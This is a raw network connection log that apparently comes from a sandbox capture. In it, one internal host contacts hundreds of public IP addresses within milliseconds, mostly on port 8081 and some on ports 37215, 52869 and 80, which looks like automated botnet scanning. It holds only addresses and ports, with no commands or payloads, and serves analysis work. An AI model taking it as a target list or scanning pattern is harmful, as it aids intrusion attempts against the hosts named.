Jul 20, 2024 23:01:05.503024101 CEST	8081	50165	8.239.119.148	192.168.2.14
Jul 20, 2024 23:01:05.503036022 CEST	8081	50165	221.37.232.134	192.168.2.14
Jul 20, 2024 23:01:05.503041983 CEST	8081	33820	68.236.19.214	192.168.2.14
Jul 20, 2024 23:01:05.503087044 CEST	8081	50165	120.110.131.15	192.168.2.14
Jul 20, 2024 23:01:05.503129959 CEST	8081	39834	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:05.503434896 CEST	8081	50165	50.237.28.56	192.168.2.14
Jul 20, 2024 23:01:05.503530025 CEST	8081	50165	5.38.208.80	192.168.2.14
Jul 20, 2024 23:01:05.503536940 CEST	8081	50165	36.171.98.75	192.168.2.14
Jul 20, 2024 23:01:05.503823042 CEST	8081	50165	190.44.241.34	192.168.2.14
Jul 20, 2024 23:01:05.503829002 CEST	8081	55910	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	112.74.53.68
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	51.232.210.184
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	157.234.102.161
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	32.253.204.172
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	50.125.91.179
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	126.203.129.118
Jul 20, 2024 23:01:05.503985882 CEST	50165	8081	192.168.2.14	124.136.118.245
Jul 20, 2024 23:01:05.504074097 CEST	8081	38094	136.94.164.35	192.168.2.14
Jul 20, 2024 23:01:05.504270077 CEST	50165	8081	192.168.2.14	210.219.247.148
Jul 20, 2024 23:01:05.504270077 CEST	50165	8081	192.168.2.14	126.87.13.17
Jul 20, 2024 23:01:05.504270077 CEST	50165	8081	192.168.2.14	81.87.32.237
Jul 20, 2024 23:01:05.504270077 CEST	50165	8081	192.168.2.14	61.30.142.95
Jul 20, 2024 23:01:05.504271030 CEST	50165	8081	192.168.2.14	216.128.135.57
Jul 20, 2024 23:01:05.504271030 CEST	50165	8081	192.168.2.14	115.194.47.142
Jul 20, 2024 23:01:05.504271030 CEST	50165	8081	192.168.2.14	159.69.14.173
Jul 20, 2024 23:01:05.504271030 CEST	42766	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:05.505049944 CEST	8081	52040	126.223.59.180	192.168.2.14
Jul 20, 2024 23:01:05.505069971 CEST	8081	50165	175.181.231.204	192.168.2.14
Jul 20, 2024 23:01:05.505244017 CEST	50165	8081	192.168.2.14	76.109.120.145
Jul 20, 2024 23:01:05.505244017 CEST	50165	8081	192.168.2.14	116.143.0.141
Jul 20, 2024 23:01:05.505244017 CEST	50165	8081	192.168.2.14	24.159.109.170
Jul 20, 2024 23:01:05.505244017 CEST	50165	8081	192.168.2.14	46.161.114.35
Jul 20, 2024 23:01:05.505244017 CEST	55616	8081	192.168.2.14	85.253.229.196
Jul 20, 2024 23:01:05.505244017 CEST	50165	8081	192.168.2.14	152.90.239.34
Jul 20, 2024 23:01:05.505244017 CEST	50165	8081	192.168.2.14	183.187.88.95
Jul 20, 2024 23:01:05.505475044 CEST	8081	44940	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:05.505481958 CEST	8081	50165	204.200.254.151	192.168.2.14
Jul 20, 2024 23:01:05.505494118 CEST	8081	55408	87.1.206.253	192.168.2.14
Jul 20, 2024 23:01:05.505500078 CEST	8081	50165	82.163.200.51	192.168.2.14
Jul 20, 2024 23:01:05.505511999 CEST	8081	50165	51.187.235.156	192.168.2.14
Jul 20, 2024 23:01:05.505518913 CEST	8081	50165	93.114.202.14	192.168.2.14
Jul 20, 2024 23:01:05.505537033 CEST	8081	50165	195.140.21.15	192.168.2.14
Jul 20, 2024 23:01:05.505793095 CEST	50165	8081	192.168.2.14	8.239.119.148
Jul 20, 2024 23:01:05.505793095 CEST	50165	8081	192.168.2.14	120.110.131.15
Jul 20, 2024 23:01:05.505793095 CEST	50165	8081	192.168.2.14	50.237.28.56
Jul 20, 2024 23:01:05.505793095 CEST	50165	8081	192.168.2.14	36.171.98.75
Jul 20, 2024 23:01:05.505793095 CEST	50165	8081	192.168.2.14	51.187.235.156
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	39.139.85.73
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	162.59.46.240
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	81.175.222.47
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	66.223.13.56
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	199.54.66.96
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	165.146.145.168
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	157.123.25.166
Jul 20, 2024 23:01:05.506710052 CEST	50165	8081	192.168.2.14	132.62.244.181
Jul 20, 2024 23:01:05.507580042 CEST	8081	50165	149.37.7.223	192.168.2.14
Jul 20, 2024 23:01:05.507586002 CEST	8081	60458	128.37.79.13	192.168.2.14
Jul 20, 2024 23:01:05.507599115 CEST	8081	51568	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:05.507605076 CEST	8081	48540	115.149.76.115	192.168.2.14
Jul 20, 2024 23:01:05.507616997 CEST	8081	50165	143.2.228.6	192.168.2.14
Jul 20, 2024 23:01:05.507622957 CEST	8081	51798	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:05.507628918 CEST	8081	50165	150.4.171.80	192.168.2.14
Jul 20, 2024 23:01:05.507633924 CEST	8081	50165	175.110.243.64	192.168.2.14
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	212.159.247.110
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	180.58.135.153
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	36.87.22.249
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	62.103.99.168
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	193.63.59.155
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	178.195.106.80
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	74.108.65.141
Jul 20, 2024 23:01:05.507684946 CEST	50165	8081	192.168.2.14	217.16.109.52
Jul 20, 2024 23:01:05.507960081 CEST	8081	50165	165.252.133.25	192.168.2.14
Jul 20, 2024 23:01:05.507977962 CEST	8081	50165	169.2.147.79	192.168.2.14
Jul 20, 2024 23:01:05.507983923 CEST	8081	35734	138.222.149.56	192.168.2.14
Jul 20, 2024 23:01:05.507989883 CEST	8081	50165	116.155.171.87	192.168.2.14
Jul 20, 2024 23:01:05.508002996 CEST	8081	50165	213.15.154.229	192.168.2.14
Jul 20, 2024 23:01:05.508008003 CEST	8081	50165	158.189.31.66	192.168.2.14
Jul 20, 2024 23:01:05.508229017 CEST	8081	50165	77.181.65.116	192.168.2.14
Jul 20, 2024 23:01:05.508435965 CEST	50165	8081	192.168.2.14	158.80.78.65
Jul 20, 2024 23:01:05.508435965 CEST	46134	37215	192.168.2.14	157.94.206.239
Jul 20, 2024 23:01:05.508435965 CEST	50165	8081	192.168.2.14	178.27.184.172
Jul 20, 2024 23:01:05.508435965 CEST	50165	8081	192.168.2.14	205.225.218.56
Jul 20, 2024 23:01:05.508435965 CEST	50165	8081	192.168.2.14	221.37.232.134
Jul 20, 2024 23:01:05.508435965 CEST	50165	8081	192.168.2.14	190.44.241.34
Jul 20, 2024 23:01:05.508692026 CEST	42442	37215	192.168.2.14	84.58.208.79
Jul 20, 2024 23:01:05.508692026 CEST	50165	8081	192.168.2.14	116.155.171.87
Jul 20, 2024 23:01:05.508692026 CEST	50165	8081	192.168.2.14	158.189.31.66
Jul 20, 2024 23:01:05.509505987 CEST	50165	8081	192.168.2.14	5.38.208.80
Jul 20, 2024 23:01:05.509505987 CEST	50165	8081	192.168.2.14	82.163.200.51
Jul 20, 2024 23:01:05.509505987 CEST	50165	8081	192.168.2.14	93.114.202.14
Jul 20, 2024 23:01:05.509505987 CEST	50165	8081	192.168.2.14	213.15.154.229
Jul 20, 2024 23:01:05.510344982 CEST	8081	50165	148.36.173.195	192.168.2.14
Jul 20, 2024 23:01:05.510350943 CEST	8081	52318	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	185.216.74.101
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	60.182.56.124
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	34.64.161.136
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	36.228.168.11
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	197.54.154.16
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	19.16.148.185
Jul 20, 2024 23:01:05.510499001 CEST	50165	8081	192.168.2.14	169.6.234.209
Jul 20, 2024 23:01:05.510515928 CEST	8081	35580	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:05.510523081 CEST	8081	50165	165.81.228.195	192.168.2.14
Jul 20, 2024 23:01:05.510535002 CEST	8081	50165	147.127.33.2	192.168.2.14
Jul 20, 2024 23:01:05.510540962 CEST	8081	50165	159.175.111.184	192.168.2.14
Jul 20, 2024 23:01:05.510552883 CEST	8081	50165	169.168.159.195	192.168.2.14
Jul 20, 2024 23:01:05.510559082 CEST	8081	50165	69.173.103.1	192.168.2.14
Jul 20, 2024 23:01:05.510571003 CEST	8081	50165	222.219.83.231	192.168.2.14
Jul 20, 2024 23:01:05.510576963 CEST	8081	50165	104.5.254.90	192.168.2.14
Jul 20, 2024 23:01:05.510582924 CEST	8081	50165	203.8.14.159	192.168.2.14
Jul 20, 2024 23:01:05.510593891 CEST	8081	50165	173.212.50.141	192.168.2.14
Jul 20, 2024 23:01:05.510598898 CEST	8081	50165	82.7.162.117	192.168.2.14
Jul 20, 2024 23:01:05.510603905 CEST	8081	50165	221.193.147.224	192.168.2.14
Jul 20, 2024 23:01:05.510605097 CEST	50165	8081	192.168.2.14	222.219.83.231
Jul 20, 2024 23:01:05.510616064 CEST	8081	50165	108.34.226.197	192.168.2.14
Jul 20, 2024 23:01:05.510622978 CEST	8081	50165	200.46.115.57	192.168.2.14
Jul 20, 2024 23:01:05.510628939 CEST	8081	50165	84.130.117.26	192.168.2.14
Jul 20, 2024 23:01:05.510643005 CEST	80	42862	88.190.107.86	192.168.2.14
Jul 20, 2024 23:01:05.510648966 CEST	8081	50165	156.107.53.13	192.168.2.14
Jul 20, 2024 23:01:05.510660887 CEST	8081	50165	172.248.78.243	192.168.2.14
Jul 20, 2024 23:01:05.510667086 CEST	8081	50165	98.81.91.70	192.168.2.14
Jul 20, 2024 23:01:05.510679007 CEST	8081	50165	161.252.91.52	192.168.2.14
Jul 20, 2024 23:01:05.510684967 CEST	52869	33402	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:05.510694027 CEST	8081	50165	98.31.43.74	192.168.2.14
Jul 20, 2024 23:01:05.510699034 CEST	8081	50165	133.20.220.220	192.168.2.14
Jul 20, 2024 23:01:05.510704994 CEST	8081	50165	1.147.154.168	192.168.2.14
Jul 20, 2024 23:01:05.510710955 CEST	8081	50165	27.121.87.66	192.168.2.14
Jul 20, 2024 23:01:05.510723114 CEST	8081	50165	153.173.148.156	192.168.2.14
Jul 20, 2024 23:01:05.510727882 CEST	37215	44408	197.211.156.8	192.168.2.14
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	8.250.119.225
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	90.102.115.156
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	61.75.226.42
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	217.91.225.147
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	159.166.206.162
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	162.204.62.14
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	158.78.236.229
Jul 20, 2024 23:01:05.510993958 CEST	50165	8081	192.168.2.14	61.247.232.143
Jul 20, 2024 23:01:05.511327028 CEST	8081	50165	176.193.35.87	192.168.2.14
Jul 20, 2024 23:01:05.511393070 CEST	8081	50165	90.101.101.178	192.168.2.14
Jul 20, 2024 23:01:05.511399031 CEST	8081	50165	177.217.26.56	192.168.2.14
Jul 20, 2024 23:01:05.511576891 CEST	50165	8081	192.168.2.14	205.235.196.246
Jul 20, 2024 23:01:05.511576891 CEST	50165	8081	192.168.2.14	136.128.84.91
Jul 20, 2024 23:01:05.511576891 CEST	50165	8081	192.168.2.14	190.79.53.220
Jul 20, 2024 23:01:05.511576891 CEST	50165	8081	192.168.2.14	160.29.87.29
Jul 20, 2024 23:01:05.511576891 CEST	50165	8081	192.168.2.14	36.36.154.215
Jul 20, 2024 23:01:05.511576891 CEST	50165	8081	192.168.2.14	131.51.132.95
Jul 20, 2024 23:01:05.511576891 CEST	58062	37215	192.168.2.14	157.85.25.154
Jul 20, 2024 23:01:05.511770010 CEST	8081	50165	18.225.251.235	192.168.2.14
Jul 20, 2024 23:01:05.511775970 CEST	8081	50165	101.120.233.152	192.168.2.14
Jul 20, 2024 23:01:05.511789083 CEST	8081	50165	180.210.121.39	192.168.2.14
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	132.77.30.166
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	195.183.124.141
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	164.108.31.55
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	168.80.209.65
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	31.99.220.49
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	205.101.188.178
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	219.246.234.59
Jul 20, 2024 23:01:05.511883974 CEST	50165	8081	192.168.2.14	103.127.237.115
Jul 20, 2024 23:01:05.511894941 CEST	8081	50165	2.208.161.155	192.168.2.14
Jul 20, 2024 23:01:05.511900902 CEST	8081	50165	78.228.153.5	192.168.2.14
Jul 20, 2024 23:01:05.511954069 CEST	50165	8081	192.168.2.14	204.200.254.151
Jul 20, 2024 23:01:05.511954069 CEST	50165	8081	192.168.2.14	195.140.21.15
Jul 20, 2024 23:01:05.511954069 CEST	50165	8081	192.168.2.14	148.36.173.195
Jul 20, 2024 23:01:05.511954069 CEST	50165	8081	192.168.2.14	169.168.159.195
Jul 20, 2024 23:01:05.511954069 CEST	50165	8081	192.168.2.14	98.31.43.74
Jul 20, 2024 23:01:05.511954069 CEST	50165	8081	192.168.2.14	2.208.161.155
Jul 20, 2024 23:01:05.512079954 CEST	8081	50165	95.99.8.138	192.168.2.14
Jul 20, 2024 23:01:05.512206078 CEST	8081	50165	210.219.247.148	192.168.2.14
Jul 20, 2024 23:01:05.512552977 CEST	8081	50165	126.87.13.17	192.168.2.14
Jul 20, 2024 23:01:05.512558937 CEST	8081	50165	194.88.126.87	192.168.2.14
Jul 20, 2024 23:01:05.512571096 CEST	8081	50165	112.74.53.68	192.168.2.14
Jul 20, 2024 23:01:05.512578011 CEST	8081	50165	81.87.32.237	192.168.2.14
Jul 20, 2024 23:01:05.512701035 CEST	50165	8081	192.168.2.14	179.152.51.107
Jul 20, 2024 23:01:05.512701035 CEST	50165	8081	192.168.2.14	188.55.84.241
Jul 20, 2024 23:01:05.512701035 CEST	50165	8081	192.168.2.14	138.159.22.147
Jul 20, 2024 23:01:05.512701035 CEST	37792	52869	192.168.2.14	198.112.106.164
Jul 20, 2024 23:01:05.512701035 CEST	50165	8081	192.168.2.14	175.181.231.204
Jul 20, 2024 23:01:05.512701035 CEST	38094	8081	192.168.2.14	136.94.164.35
Jul 20, 2024 23:01:05.512854099 CEST	8081	50165	61.30.142.95	192.168.2.14
Jul 20, 2024 23:01:05.512860060 CEST	8081	50165	82.226.71.74	192.168.2.14
Jul 20, 2024 23:01:05.513057947 CEST	8081	50165	216.128.135.57	192.168.2.14
Jul 20, 2024 23:01:05.513063908 CEST	8081	50165	76.109.120.145	192.168.2.14
Jul 20, 2024 23:01:05.513226032 CEST	8081	50165	150.116.238.31	192.168.2.14
Jul 20, 2024 23:01:05.513464928 CEST	36214	8081	192.168.2.14	191.63.84.95
Jul 20, 2024 23:01:05.513497114 CEST	8081	50165	115.194.47.142	192.168.2.14
Jul 20, 2024 23:01:05.513503075 CEST	8081	50165	146.78.57.74	192.168.2.14
Jul 20, 2024 23:01:05.513717890 CEST	8081	50165	138.48.209.178	192.168.2.14
Jul 20, 2024 23:01:05.514064074 CEST	50165	8081	192.168.2.14	150.116.238.31
Jul 20, 2024 23:01:05.514080048 CEST	35580	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:05.514080048 CEST	50165	8081	192.168.2.14	104.5.254.90
Jul 20, 2024 23:01:05.514080048 CEST	50165	8081	192.168.2.14	108.34.226.197
Jul 20, 2024 23:01:05.514080048 CEST	50165	8081	192.168.2.14	27.121.87.66
Jul 20, 2024 23:01:05.514080048 CEST	50165	8081	192.168.2.14	78.228.153.5
Jul 20, 2024 23:01:05.514127970 CEST	8081	49564	91.12.68.72	192.168.2.14
Jul 20, 2024 23:01:05.514411926 CEST	8081	50165	159.69.14.173	192.168.2.14
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	203.8.14.159
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	84.130.117.26
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	172.248.78.243
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	153.173.148.156
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	90.101.101.178
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	18.225.251.235
Jul 20, 2024 23:01:05.514563084 CEST	50165	8081	192.168.2.14	82.226.71.74
Jul 20, 2024 23:01:05.514662027 CEST	50165	8081	192.168.2.14	156.107.53.13
Jul 20, 2024 23:01:05.514662027 CEST	50165	8081	192.168.2.14	98.81.91.70
Jul 20, 2024 23:01:05.514662027 CEST	50165	8081	192.168.2.14	133.20.220.220
Jul 20, 2024 23:01:05.514662027 CEST	33402	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:05.514718056 CEST	8081	50165	167.89.191.10	192.168.2.14
Jul 20, 2024 23:01:05.514724970 CEST	8081	50165	90.2.125.145	192.168.2.14
Jul 20, 2024 23:01:05.515336037 CEST	80	47406	88.183.20.111	192.168.2.14
Jul 20, 2024 23:01:05.515341997 CEST	8081	50165	51.232.210.184	192.168.2.14
Jul 20, 2024 23:01:05.515353918 CEST	8081	50165	147.121.44.26	192.168.2.14
Jul 20, 2024 23:01:05.515360117 CEST	8081	50165	211.91.56.238	192.168.2.14
Jul 20, 2024 23:01:05.515366077 CEST	8081	50165	207.190.148.134	192.168.2.14
Jul 20, 2024 23:01:05.515377998 CEST	8081	50165	112.15.68.116	192.168.2.14
Jul 20, 2024 23:01:05.515383005 CEST	8081	50165	197.26.22.128	192.168.2.14
Jul 20, 2024 23:01:05.515394926 CEST	8081	50165	53.129.135.181	192.168.2.14
Jul 20, 2024 23:01:05.515400887 CEST	8081	50165	95.21.208.89	192.168.2.14
Jul 20, 2024 23:01:05.515554905 CEST	50165	8081	192.168.2.14	207.190.148.134
Jul 20, 2024 23:01:05.515554905 CEST	50165	8081	192.168.2.14	95.21.208.89
Jul 20, 2024 23:01:05.515638113 CEST	8081	50165	212.159.247.110	192.168.2.14
Jul 20, 2024 23:01:05.515655994 CEST	8081	50165	12.140.206.246	192.168.2.14
Jul 20, 2024 23:01:05.515701056 CEST	34314	8081	192.168.2.14	192.158.1.164
Jul 20, 2024 23:01:05.515702009 CEST	48140	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:05.515702009 CEST	50165	8081	192.168.2.14	150.4.171.80
Jul 20, 2024 23:01:05.515702009 CEST	50165	8081	192.168.2.14	169.2.147.79
Jul 20, 2024 23:01:05.515846968 CEST	50165	8081	192.168.2.14	149.37.7.223
Jul 20, 2024 23:01:05.515846968 CEST	50165	8081	192.168.2.14	143.2.228.6
Jul 20, 2024 23:01:05.515847921 CEST	50165	8081	192.168.2.14	165.252.133.25
Jul 20, 2024 23:01:05.515847921 CEST	50165	8081	192.168.2.14	159.175.111.184
Jul 20, 2024 23:01:05.515847921 CEST	50165	8081	192.168.2.14	173.212.50.141
Jul 20, 2024 23:01:05.515847921 CEST	50165	8081	192.168.2.14	194.88.126.87
Jul 20, 2024 23:01:05.515847921 CEST	57566	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:05.516019106 CEST	8081	50165	180.58.135.153	192.168.2.14
Jul 20, 2024 23:01:05.516025066 CEST	8081	50165	73.204.33.14	192.168.2.14
Jul 20, 2024 23:01:05.516545057 CEST	8081	50165	36.87.22.249	192.168.2.14
Jul 20, 2024 23:01:05.516551018 CEST	8081	50165	202.123.103.234	192.168.2.14
Jul 20, 2024 23:01:05.516705990 CEST	8081	50165	46.191.149.237	192.168.2.14
Jul 20, 2024 23:01:05.516712904 CEST	8081	50165	157.234.102.161	192.168.2.14
Jul 20, 2024 23:01:05.516772032 CEST	50165	8081	192.168.2.14	95.23.185.123
Jul 20, 2024 23:01:05.516772032 CEST	50165	8081	192.168.2.14	59.200.17.190
Jul 20, 2024 23:01:05.516772032 CEST	50165	8081	192.168.2.14	175.110.243.64
Jul 20, 2024 23:01:05.516772032 CEST	50165	8081	192.168.2.14	165.81.228.195
Jul 20, 2024 23:01:05.516772032 CEST	50165	8081	192.168.2.14	221.193.147.224
Jul 20, 2024 23:01:05.517441034 CEST	8081	50165	12.100.62.201	192.168.2.14
Jul 20, 2024 23:01:05.517465115 CEST	50165	8081	192.168.2.14	209.123.172.225
Jul 20, 2024 23:01:05.517466068 CEST	49508	8081	192.168.2.14	120.153.161.123
Jul 20, 2024 23:01:05.517466068 CEST	50165	8081	192.168.2.14	69.173.103.1
Jul 20, 2024 23:01:05.517466068 CEST	50165	8081	192.168.2.14	1.147.154.168
Jul 20, 2024 23:01:05.517707109 CEST	8081	50165	39.139.85.73	192.168.2.14
Jul 20, 2024 23:01:05.517713070 CEST	37215	55142	119.104.173.17	192.168.2.14
Jul 20, 2024 23:01:05.518057108 CEST	8081	50165	62.103.99.168	192.168.2.14
Jul 20, 2024 23:01:05.518063068 CEST	8081	50165	156.79.254.25	192.168.2.14
Jul 20, 2024 23:01:05.518074989 CEST	8081	50165	193.63.59.155	192.168.2.14
Jul 20, 2024 23:01:05.518080950 CEST	8081	50165	116.43.36.73	192.168.2.14
Jul 20, 2024 23:01:05.518093109 CEST	50165	8081	192.168.2.14	12.140.206.246
Jul 20, 2024 23:01:05.518093109 CEST	50165	8081	192.168.2.14	202.123.103.234
Jul 20, 2024 23:01:05.518093109 CEST	50165	8081	192.168.2.14	12.100.62.201
Jul 20, 2024 23:01:05.518410921 CEST	50165	8081	192.168.2.14	76.109.120.145
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	90.2.125.145
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	211.91.56.238
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	53.129.135.181
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	212.159.247.110
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	180.58.135.153
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	36.87.22.249
Jul 20, 2024 23:01:05.518527031 CEST	50165	8081	192.168.2.14	62.103.99.168
Jul 20, 2024 23:01:05.518577099 CEST	8081	50165	158.80.78.65	192.168.2.14
Jul 20, 2024 23:01:05.518712044 CEST	8081	50165	162.59.46.240	192.168.2.14
Jul 20, 2024 23:01:05.518868923 CEST	8081	50165	70.14.243.115	192.168.2.14
Jul 20, 2024 23:01:05.519428968 CEST	50165	8081	192.168.2.14	138.48.209.178
Jul 20, 2024 23:01:05.519428968 CEST	44408	37215	192.168.2.14	197.211.156.8
Jul 20, 2024 23:01:05.519428968 CEST	50165	8081	192.168.2.14	167.89.191.10
Jul 20, 2024 23:01:05.519429922 CEST	50165	8081	192.168.2.14	197.26.22.128
Jul 20, 2024 23:01:05.519429922 CEST	50165	8081	192.168.2.14	46.191.149.237
Jul 20, 2024 23:01:05.519429922 CEST	50165	8081	192.168.2.14	156.79.254.25
Jul 20, 2024 23:01:05.519429922 CEST	50165	8081	192.168.2.14	116.43.36.73
Jul 20, 2024 23:01:05.519840956 CEST	50165	8081	192.168.2.14	200.46.115.57
Jul 20, 2024 23:01:05.519840956 CEST	50165	8081	192.168.2.14	161.252.91.52
Jul 20, 2024 23:01:05.519840956 CEST	50165	8081	192.168.2.14	146.78.57.74
Jul 20, 2024 23:01:05.519840956 CEST	50165	8081	192.168.2.14	147.121.44.26
Jul 20, 2024 23:01:05.519840956 CEST	50165	8081	192.168.2.14	112.15.68.116
Jul 20, 2024 23:01:05.519840956 CEST	50165	8081	192.168.2.14	73.204.33.14
Jul 20, 2024 23:01:05.519841909 CEST	50165	8081	192.168.2.14	70.14.243.115
Jul 20, 2024 23:01:05.519913912 CEST	50165	8081	192.168.2.14	77.181.65.116
Jul 20, 2024 23:01:05.519913912 CEST	50165	8081	192.168.2.14	147.127.33.2
Jul 20, 2024 23:01:05.519913912 CEST	50165	8081	192.168.2.14	82.7.162.117
Jul 20, 2024 23:01:05.519913912 CEST	50165	8081	192.168.2.14	180.210.121.39
Jul 20, 2024 23:01:05.519913912 CEST	50165	8081	192.168.2.14	112.74.53.68
Jul 20, 2024 23:01:05.519913912 CEST	50165	8081	192.168.2.14	51.232.210.184
Jul 20, 2024 23:01:05.520478964 CEST	8081	50165	38.120.143.133	192.168.2.14
Jul 20, 2024 23:01:05.520674944 CEST	50165	8081	192.168.2.14	158.80.78.65
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	176.193.35.87
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	177.217.26.56
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	101.120.233.152
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	95.99.8.138
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	210.219.247.148
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	126.87.13.17
Jul 20, 2024 23:01:05.521032095 CEST	50165	8081	192.168.2.14	81.87.32.237
Jul 20, 2024 23:01:05.521421909 CEST	8081	50165	178.195.106.80	192.168.2.14
Jul 20, 2024 23:01:05.521428108 CEST	8081	50165	32.253.204.172	192.168.2.14
Jul 20, 2024 23:01:05.521440983 CEST	8081	50165	74.108.65.141	192.168.2.14
Jul 20, 2024 23:01:05.521446943 CEST	8081	50165	50.125.91.179	192.168.2.14
Jul 20, 2024 23:01:05.521460056 CEST	8081	50165	185.216.74.101	192.168.2.14
Jul 20, 2024 23:01:05.521465063 CEST	8081	50165	217.16.109.52	192.168.2.14
Jul 20, 2024 23:01:05.521471024 CEST	8081	50165	60.182.56.124	192.168.2.14
Jul 20, 2024 23:01:05.521562099 CEST	8081	50165	126.203.129.118	192.168.2.14
Jul 20, 2024 23:01:05.521568060 CEST	8081	50165	34.64.161.136	192.168.2.14
Jul 20, 2024 23:01:05.521579981 CEST	8081	50165	8.250.119.225	192.168.2.14
Jul 20, 2024 23:01:05.522049904 CEST	50165	8081	192.168.2.14	193.63.59.155
Jul 20, 2024 23:01:05.522051096 CEST	50165	8081	192.168.2.14	178.195.106.80
Jul 20, 2024 23:01:05.522051096 CEST	50165	8081	192.168.2.14	74.108.65.141
Jul 20, 2024 23:01:05.522051096 CEST	50165	8081	192.168.2.14	217.16.109.52
Jul 20, 2024 23:01:05.522126913 CEST	47406	80	192.168.2.14	88.183.20.111
Jul 20, 2024 23:01:05.522126913 CEST	55142	37215	192.168.2.14	119.104.173.17
Jul 20, 2024 23:01:05.522659063 CEST	50165	8081	192.168.2.14	157.234.102.161
Jul 20, 2024 23:01:05.522659063 CEST	50165	8081	192.168.2.14	32.253.204.172
Jul 20, 2024 23:01:05.522659063 CEST	50165	8081	192.168.2.14	50.125.91.179
Jul 20, 2024 23:01:05.522659063 CEST	50165	8081	192.168.2.14	126.203.129.118
Jul 20, 2024 23:01:05.522659063 CEST	49564	8081	192.168.2.14	91.12.68.72
Jul 20, 2024 23:01:05.523201942 CEST	50165	8081	192.168.2.14	38.120.143.133
Jul 20, 2024 23:01:05.523201942 CEST	50165	8081	192.168.2.14	185.216.74.101
Jul 20, 2024 23:01:05.523201942 CEST	50165	8081	192.168.2.14	60.182.56.124
Jul 20, 2024 23:01:05.523201942 CEST	50165	8081	192.168.2.14	34.64.161.136
Jul 20, 2024 23:01:05.523574114 CEST	50165	8081	192.168.2.14	8.250.119.225
Jul 20, 2024 23:01:05.523574114 CEST	42798	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:05.523574114 CEST	42798	52869	192.168.2.14	68.93.103.227
Jul 20, 2024 23:01:05.523791075 CEST	8081	50165	59.102.115.182	192.168.2.14
Jul 20, 2024 23:01:05.523797035 CEST	8081	50165	36.228.168.11	192.168.2.14
